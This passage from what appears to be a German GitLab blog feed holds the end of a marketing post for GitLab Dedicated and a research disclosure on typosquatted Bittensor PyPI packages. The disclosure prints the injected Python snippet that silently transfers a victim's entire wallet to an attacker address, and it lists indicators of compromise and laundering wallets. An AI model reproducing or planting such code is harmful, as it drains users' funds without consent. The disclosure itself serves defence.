<p>Deine Entwicklungsworkflows, Quellcode-<a href="https://docs.gitlab.com/user/project/repository/">Repositories</a> und <a href="https://docs.gitlab.com/ci/pipelines/">CI/CD-Pipelines</a> laufen in einer Umgebung, die ausschließlich deiner Organisation gewidmet ist. Die <a href="https://docs.gitlab.com/administration/dedicated/hosted_runners/">Hosted Runners</a> für GitLab Dedicated veranschaulichen diesen Ansatz. Diese Runner verbinden sich sicher über ausgehende Private Links mit deinem Rechenzentrum und ermöglichen den Zugriff auf deine privaten Dienste, ohne Datenverkehr dem öffentlichen Internet auszusetzen. Die <a href="https://docs.gitlab.com/runner/runner_autoscale/">Auto-Scaling-Architektur</a> bietet die benötigte Performance, ohne Sicherheit oder Kontrolle zu gefährden.</p>
<h2>Kontrolle neu gedacht</h2>
<p>Für Finanzinstitute ist die Minimierung geteilter Risiken nur ein Teil der Gleichung – wahre Resilienz erfordert präzise Kontrolle darüber, wie Systeme arbeiten, skalieren und regulatorische Frameworks einhalten. GitLab Dedicated ermöglicht umfassende Datensouveränität durch mehrere Ebenen der Kundenkontrolle. Sie behalten die vollständige Autorität über <a href="https://docs.gitlab.com/administration/dedicated/encryption/#encrypted-data-at-rest">Verschlüsselungsschlüssel</a> durch <a href="https://docs.gitlab.com/administration/dedicated/encryption/#bring-your-own-key-byok">Bring-Your-Own-Key (BYOK)</a>-Funktionen und stellen sicher, dass sensible Quellcodes und Konfigurationsdaten nur für deine Organisation zugänglich bleiben. Selbst GitLab kann ohne deine Schlüssel nicht auf deine verschlüsselten Daten zugreifen.</p>
<p><a href="https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/">Datenresidenz</a> wird zur bewussten Entscheidung. Du wählst deine bevorzugte AWS-Region, um regulatorische Anforderungen und organisatorische Daten-Governance-Richtlinien zu erfüllen, und behältst die volle Kontrolle darüber, wo dein sensibler Quellcode und geistiges Eigentum gespeichert werden.</p>
<p>Diese Kontrolle erstreckt sich auf <a href="https://docs.gitlab.com/user/compliance/compliance_frameworks/">Compliance-Frameworks</a>, die Finanzinstitute benötigen. Die Plattform bietet <a href="https://docs.gitlab.com/user/compliance/audit_events/">umfassende Audit-Trails</a> und Protokollierungsfunktionen, die Compliance-Bemühungen für Finanzdienstleistungsvorschriften wie <a href="https://about.gitlab.com/compliance/sox-compliance/">Sarbanes-Oxley</a> und <a href="https://www.ftc.gov/business-guidance/privacy-security/gramm-leach-bliley-act">GLBA Safeguards Rule</a> unterstützen.</p>
<p>Wenn Compliance-Fragen auftreten, arbeitest du direkt mit GitLabs dediziertem Support-Team zusammen – erfahrene Fachleute, welche die regulatorischen Herausforderungen verstehen, denen Organisationen in hochregulierten Branchen gegenüberstehen.</p>
<h2>Operative Exzellenz ohne operativen Overhead</h2>
<p>GitLab Dedicated gewährleistet <a href="https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/">Hochverfügbarkeit</a> mit <a href="https://docs.gitlab.com/subscriptions/gitlab_dedicated/">integrierter Disaster Recovery</a>, sodass deine Entwicklungsoperationen auch bei Infrastrukturausfällen resilient bleiben. Die dedizierten Ressourcen skalieren mit den Bedürfnissen deiner Organisation ohne die Performance-Variabilität, die gemeinsame Umgebungen einführen.</p>
<p>Der <a href="https://docs.gitlab.com/subscriptions/gitlab_dedicated/maintenance/">Zero-Maintenance-Ansatz</a> für CI/CD-Infrastruktur eliminiert eine erhebliche operative Belastung. Deine Teams konzentrieren sich auf die Entwicklung, während GitLab die zugrunde liegende Infrastruktur, Auto-Scaling und Wartung verwaltet – einschließlich schneller Sicherheitspatches zum Schutz deines kritischen geistigen Eigentums vor aufkommenden Bedrohungen. Diese operative Effizienz geht nicht auf Kosten der Sicherheit: Die dedizierte Infrastruktur bietet Enterprise-Grade-Kontrollen und liefert gleichzeitig Cloud-Skalierungs-Performance.</p>
<h2>Die Wettbewerbsrealität</h2>
<p>Während einige Institutionen über Infrastrukturstrategien debattieren, ergreifen Branchenführer entscheidende Maßnahmen. <a href="https://about.gitlab.com/press/releases/2022-11-30-gitlab-dedicated-launches-to-meet-complex-compliance-requirements/">NatWest Group</a>, eine der größten Finanzinstitutionen Großbritanniens, wählte GitLab Dedicated zur Transformation ihrer Engineering-Fähigkeiten:</p>
<blockquote>
<p><em>&quot;Die NatWest Group setzt GitLab Dedicated ein, um unseren Ingenieuren die Nutzung einer gemeinsamen Cloud-Engineering-Plattform zu ermöglichen; neue Kundenergebnisse schnell, häufig und sicher mit hoher Qualität, automatisierten Tests, On-Demand-Infrastruktur und durchgängigem Deployment zu liefern. Dies wird die Zusammenarbeit erheblich verbessern, die Entwicklerproduktivität steigern und Kreativität durch eine 'Single-Pane-of-Glass' für die Softwareentwicklung freisetzen.&quot;</em></p>
<p><strong>Adam Leggett</strong>, Platform Lead - Engineering Platforms, NatWest</p>
</blockquote>
<h2>Die strategische Entscheidung</h2>
<p>Die erfolgreichsten Finanzinstitute stehen vor einer einzigartigen Herausforderung: Sie haben am meisten durch geteilte Infrastrukturrisiken zu verlieren, aber auch die Ressourcen, um bessere Lösungen zu entwickeln.</p>
<p><strong>Die Frage, die wirkliche Branchenführer von anderen unterscheidet:</strong> Werden sie geteilte Infrastrukturrisiken als Preis der digitalen Transformation akzeptieren, oder in Infrastruktur investieren, welche den Quellcode mit der strategischen Bedeutung behandelt, die er verdient?</p>
<p>Deine Algorithmen werden nicht geteilt. Deine Risikomodelle werden nicht geteilt. Deine Kundendaten werden nicht geteilt.</p>
<p><strong>Warum wird deine Entwicklungsplattform geteilt?</strong></p>
<p><em>Bereit, deinen Quellcode wie das strategische Asset zu behandeln, das er ist? <a href="https://about.gitlab.com/solutions/finance/">Sprich mit uns</a> darüber, wie dir GitLab Dedicated die Sicherheit, Compliance und Performance bietet, die Finanzinstitute fordern – ohne die Kompromisse geteilter Infrastruktur.</em></p>
]]></content>
        <author>
            <name>George Kichukov</name>
            <uri>https://about.gitlab.com/blog/authors/george-kichukov</uri>
        </author>
        <author>
            <name>Allie Holland</name>
            <uri>https://about.gitlab.com/blog/authors/allie-holland</uri>
        </author>
        <published>2025-08-14T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab deckt Bittensor-Diebstahlkampagne über PyPI auf]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi/"/>
        <updated>2025-08-06T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Das Vulnerability Research Team von GitLab hat eine ausgeklügelte</p>
<p>Kryptowährungs-Diebstahlkampagne identifiziert, die das Bittensor-Ökosystem</p>
<p>durch Typosquatting-Python-Pakete auf PyPI ins Visier nimmt.</p>
<p>Die Untersuchung begann, als das automatisierte Paket-Überwachungssystem von GitLab verdächtige Aktivitäten im Zusammenhang mit beliebten Bittensor-Paketen meldete. Es wurden mehrere Typosquatting-Varianten legitimer Bittensor-Pakete entdeckt, die jeweils darauf ausgelegt waren, Kryptowährung von ahnungslosen Entwickler(inne)n und Nutzer(inne)n zu stehlen.</p>
<blockquote>
<p><strong>Geschäftsrelevanz:</strong> Dieser koordinierte Angriff zeigt, wie Cyberkriminelle systematisch vertrauensvolle Software-Ökosysteme ausnutzen. <strong>90% der Fortune-500-Unternehmen</strong> nutzen Open-Source-Komponenten - jede davon ist ein potentieller Angriffspunkt für ähnliche Kampagnen.</p>
</blockquote>
<h2>Die Angriffsmethode im Detail</h2>
<p>Die identifizierten bösartigen Pakete wurden alle innerhalb eines 25-minütigen Zeitfensters am 6. August 2025 veröffentlicht:</p>
<ul>
<li>
<p><code>bitensor@9.9.4</code> (02:52 UTC)</p>
</li>
<li>
<p><code>bittenso-cli@9.9.4</code> (02:59 UTC)</p>
</li>
<li>
<p><code>qbittensor@9.9.4</code> (03:02 UTC)</p>
</li>
<li>
<p><code>bitensor@9.9.5</code> (03:15 UTC)</p>
</li>
<li>
<p><code>bittenso@9.9.5</code> (03:16 UTC)</p>
</li>
</ul>
<p>Alle Pakete wurden entwickelt, um die legitimen <code>bittensor</code>- und <code>bittensor-cli</code>-Pakete nachzuahmen, die Kernkomponenten des dezentralisierten KI-Netzwerks Bittensor sind.</p>
<h3>Technische Analyse: So funktioniert der Diebstahl</h3>
<p>Die Analyse offenbarte einen sorgfältig ausgearbeiteten Angriffsvektor, bei dem die Angreifer legitime Staking-Funktionalitäten modifizierten, um Gelder zu stehlen. Die bösartigen Pakete enthalten eine manipulierte Version der <code>stake_extrinsic</code>-Funktion in <code>bittensor_cli/src/commands/stake/add.py</code>.</p>
<p>Wo Nutzer(innen) eine normale Staking-Operation erwarten, haben die Angreifer in Zeile 275 bösartigen Code eingefügt, der stillschweigend alle Gelder in ihre Wallet umleitet:</p>
<pre><code class="language-python">
result = await transfer_extrinsic(
  subtensor=subtensor,
  wallet=wallet,
  destination=&quot;5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR&quot;,
  amount=amount,
  transfer_all=True,
  prompt=False
)

</code></pre>
<p><strong>Diese bösartige Injektion untergräbt den Staking-Prozess vollständig:</strong></p>
<ul>
<li>
<p><strong>Stille Ausführung:</strong> Verwendet <code>prompt=False</code>, um die Benutzerbestätigung zu umgehen</p>
</li>
<li>
<p><strong>Vollständige Wallet-Entleerung:</strong> Setzt <code>transfer_all=True</code>, um alle verfügbaren Gelder zu stehlen, nicht nur den Staking-Betrag</p>
</li>
<li>
<p><strong>Hartcodiertes Ziel:</strong> Leitet alle Gelder an die Wallet-Adresse der Angreifer weiter</p>
</li>
<li>
<p><strong>Versteckt in Sichtweite:</strong> Wird während einer scheinbar normalen Staking-Operation ausgeführt</p>
</li>
</ul>
<p>Das Perfide an diesem Angriff: Nutzer(innen) glauben, Token für Belohnungen zu staken, während die modifizierte Funktion stattdessen die gesamte Wallet entleert.</p>
<h3>Besondere Relevanz für deutsche Unternehmen</h3>
<p>Diese Angriffsmethodik ist nicht auf Kryptowährungen beschränkt. Ähnliche Typosquatting-Strategien könnten manipulierte Pakete in geschäftskritische Systeme einschleusen - von Zahlungsverarbeitung bis hin zu Industriesteuerungen.</p>
<h3>Warum die Staking-Funktionalität ins Visier genommen wird</h3>
<p>Die Angreifer scheinen gezielt Staking-Operationen aus kalkulierten Gründen ins Visier genommen zu haben. In Blockchain-Netzwerken wie Bittensor bedeutet <strong>Staking</strong>, dass Nutzer(innen) ihre Kryptowährungs-Token sperren, um Netzwerkoperationen zu unterstützen und im Gegenzug Belohnungen zu erhalten – ähnlich wie Zinsen auf eine Einlage.</p>
<p>Dies macht Staking zu einem idealen Angriffsvektor:</p>
<ol>
<li>
<p><strong>Hochwertige Ziele:</strong> Nutzer(innen), die staken, besitzen typischerweise erhebliche Kryptowährungsbestände, was sie zu lukrativen Opfern macht.</p>
</li>
<li>
<p><strong>Erforderlicher Wallet-Zugriff:</strong> Staking-Operationen erfordern, dass Nutzer(innen) ihre Wallets entsperren und Authentifizierung bereitstellen – genau das, was der bösartige Code benötigt, um Gelder abzuziehen.</p>
</li>
<li>
<p><strong>Erwartete Netzwerkaktivität:</strong> Da Staking natürlich Blockchain-Transaktionen beinhaltet, erregt die zusätzliche bösartige Übertragung nicht sofort Verdacht.</p>
</li>
<li>
<p><strong>Routineoperationen:</strong> Erfahrene Nutzer(innen) staken regelmäßig, was Vertrautheit schafft, die zu Nachlässigkeit führt und die Aufmerksamkeit reduziert.</p>
</li>
<li>
<p><strong>Verzögerte Entdeckung:</strong> Nutzer(innen) könnten anfänglich annehmen, dass Saldoänderungen normale Staking-Gebühren oder temporäre Sperrungen sind, was die Entdeckung des Diebstahls verzögert.</p>
</li>
</ol>
<p>Durch das Verstecken von bösartigem Code in legitim aussehender Staking-Funktionalität nutzten die Angreifer sowohl die technischen Anforderungen als auch die Nutzerpsychologie von Routine-Blockchain-Operationen aus.</p>
<h2>Der Geldspur folgen</h2>
<p>Das Vulnerability Research Team von GitLab verfolgte die Kryptowährungsflüsse, um das volle Ausmaß dieser Operation zu verstehen. Die primäre Ziel-Wallet <code>5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR</code> diente als zentraler Sammelpunkt, bevor die Gelder durch ein Netzwerk von Zwischen-Wallets verteilt wurden.</p>
<h3>Das Geldwäsche-Netzwerk</h3>
<p>Die Analyse offenbarte ein mehrstufiges Geldwäschesystem:</p>
<ol>
<li>
<p><strong>Primäre Sammlung:</strong> Gestohlene Gelder kommen zunächst bei <code>5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR</code> an</p>
</li>
<li>
<p><strong>Verteilungsnetzwerk:</strong> Gelder werden schnell zu Zwischen-Wallets verschoben, einschließlich:</p>
<ul>
<li><code>5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1</code></li>
<li><code>5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC</code></li>
<li><code>5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6</code></li>
<li><code>5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL</code></li>
</ul>
</li>
<li>
<p><strong>Finale Konsolidierung:</strong> Alle Pfade konvergieren schließlich bei <code>5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu</code></p>
</li>
<li>
<p><strong>Auszahlungsendpunkt:</strong> Das finale Ziel scheint
<code>5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ</code> zu sein</p>
</li>
</ol>
<h2>Die Typosquatting-Strategie</h2>
<p>Die Angreifer verwendeten eine Typosquatting-Strategie, die häufige Tippfehler und Paket-Namenskonventionen ausnutzt:</p>
<ul>
<li>
<p><strong>Fehlende Zeichen:</strong> <code>bitensor</code> statt <code>bittensor</code> (fehlendes 't')</p>
</li>
<li>
<p><strong>Kürzung:</strong> <code>bittenso</code> statt <code>bittensor</code> (fehlendes finales 'r')</p>
</li>
<li>
<p><strong>Versions-Nachahmung:</strong> Alle Pakete verwendeten Versionsnummern (<code>9.9.4</code>, <code>9.9.5</code>), die den legitimen Paketversionen sehr ähnlich sind</p>
</li>
</ul>
<p>Dieser Ansatz maximiert die Installationswahrscheinlichkeit durch Entwickler-Tippfehler während <code>pip install</code>-Befehlen und Copy-Paste-Fehler aus Dokumentationen.</p>
<h2>Die Zukunft der Supply-Chain-Sicherheit</h2>
<p>GitLab investiert weiterhin in proaktive Sicherheitsforschung, um Bedrohungen zu identifizieren und zu neutralisieren, bevor sie die Community beeinträchtigen. Das automatisierte Erkennungssystem arbeitet rund um die Uhr, um die Software-Supply-Chain zu schützen, die die moderne Entwicklung antreibt.</p>
<p>Die schnelle Erkennung und Analyse dieses Angriffs demonstriert den Wert proaktiver Sicherheitsmaßnahmen im Kampf gegen ausgeklügelte Bedrohungen. Durch das Teilen der Erkenntnisse streben wir danach, die Widerstandsfähigkeit des gesamten Ökosystems gegen zukünftige Angriffe zu stärken.</p>
<h2>Kompromittierungsindikatoren</h2>
<p>| IOC                                                | Beschreibung                                                      |</p>
<p>| -------------------------------------------------- | ----------------------------------------------------------------- |</p>
<p>| <code>pkg:pypi/bittenso@9.9.5</code>                          | Bösartiges PyPI-Paket                                             |</p>
<p>| <code>pkg:pypi/bitensor@9.9.5</code>                          | Bösartiges PyPI-Paket                                             |</p>
<p>| <code>pkg:pypi/bitensor@9.9.4</code>                          | Bösartiges PyPI-Paket                                             |</p>
<p>| <code>pkg:pypi/qbittensor@9.9.4</code>                        | Bösartiges PyPI-Paket                                             |</p>
<p>| <code>pkg:pypi/bittenso-cli@9.9.4</code>                      | Bösartiges PyPI-Paket                                             |</p>
<p>| <code>5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR</code> | Bittensor (TAO) Wallet-Adresse für den Empfang gestohlener Gelder |</p>
<h2>Zeitachse</h2>
<p>| Datum &amp; Uhrzeit      | Aktion                                                                                        |</p>
<p>| -------------------- | --------------------------------------------------------------------------------------------- |</p>
<p>| <strong>2025-08-06T06:33</strong> | Erste Analyse verdächtiger Pakete, die vom automatisierten Überwachungssystem gemeldet wurden |</p>
<p>| <strong>2025-08-06T09:42</strong> | <code>bittenso@9.9.5</code> an PyPi.org gemeldet                                                         |</p>
<p>| <strong>2025-08-06T09:46</strong> | <code>bitensor@9.9.5</code> an PyPi.org gemeldet                                                         |</p>
<p>| <strong>2025-08-06T09:47</strong> | <code>bitensor@9.9.4</code> an PyPi.org gemeldet                                                         |</p>
<p>| <strong>2025-08-06T09:49</strong> | <code>qbittensor@9.9.4</code> an PyPi.org gemeldet                                                       |</p>
<p>| <strong>2025-08-06T09:51</strong> | <code>bittenso-cli@9.9.4</code> an PyPi.org gemeldet                                                     |</p>
<p>| <strong>2025-08-06T15:26</strong> | PyPi.org entfernte <code>bittenso@9.9.5</code>                                                           |</p>
<p>| <strong>2025-08-06T15:27</strong> | PyPi.org entfernte <code>bitensor@9.9.5</code>                                                           |</p>
<p>| <strong>2025-08-06T15:27</strong> | PyPi.org entfernte <code>bitensor@9.9.4</code>                                                           |</p>
<p>| <strong>2025-08-06T15:28</strong> | PyPi.org entfernte <code>qbittensor@9.9.4</code>                                                         |</p>
<p>| <strong>2025-08-06T15:28</strong> | PyPi.org entfernte <code>bittenso-cli@9.9.4</code>                                                       |</p>
]]></content>
        <author>
            <name>Michael Henriksen</name>
            <uri>https://about.gitlab.com/blog/authors/michael-henriksen</uri>
        </author>
        <published>2025-08-06T00:00:00.000Z</published>
    </entry>
</feed>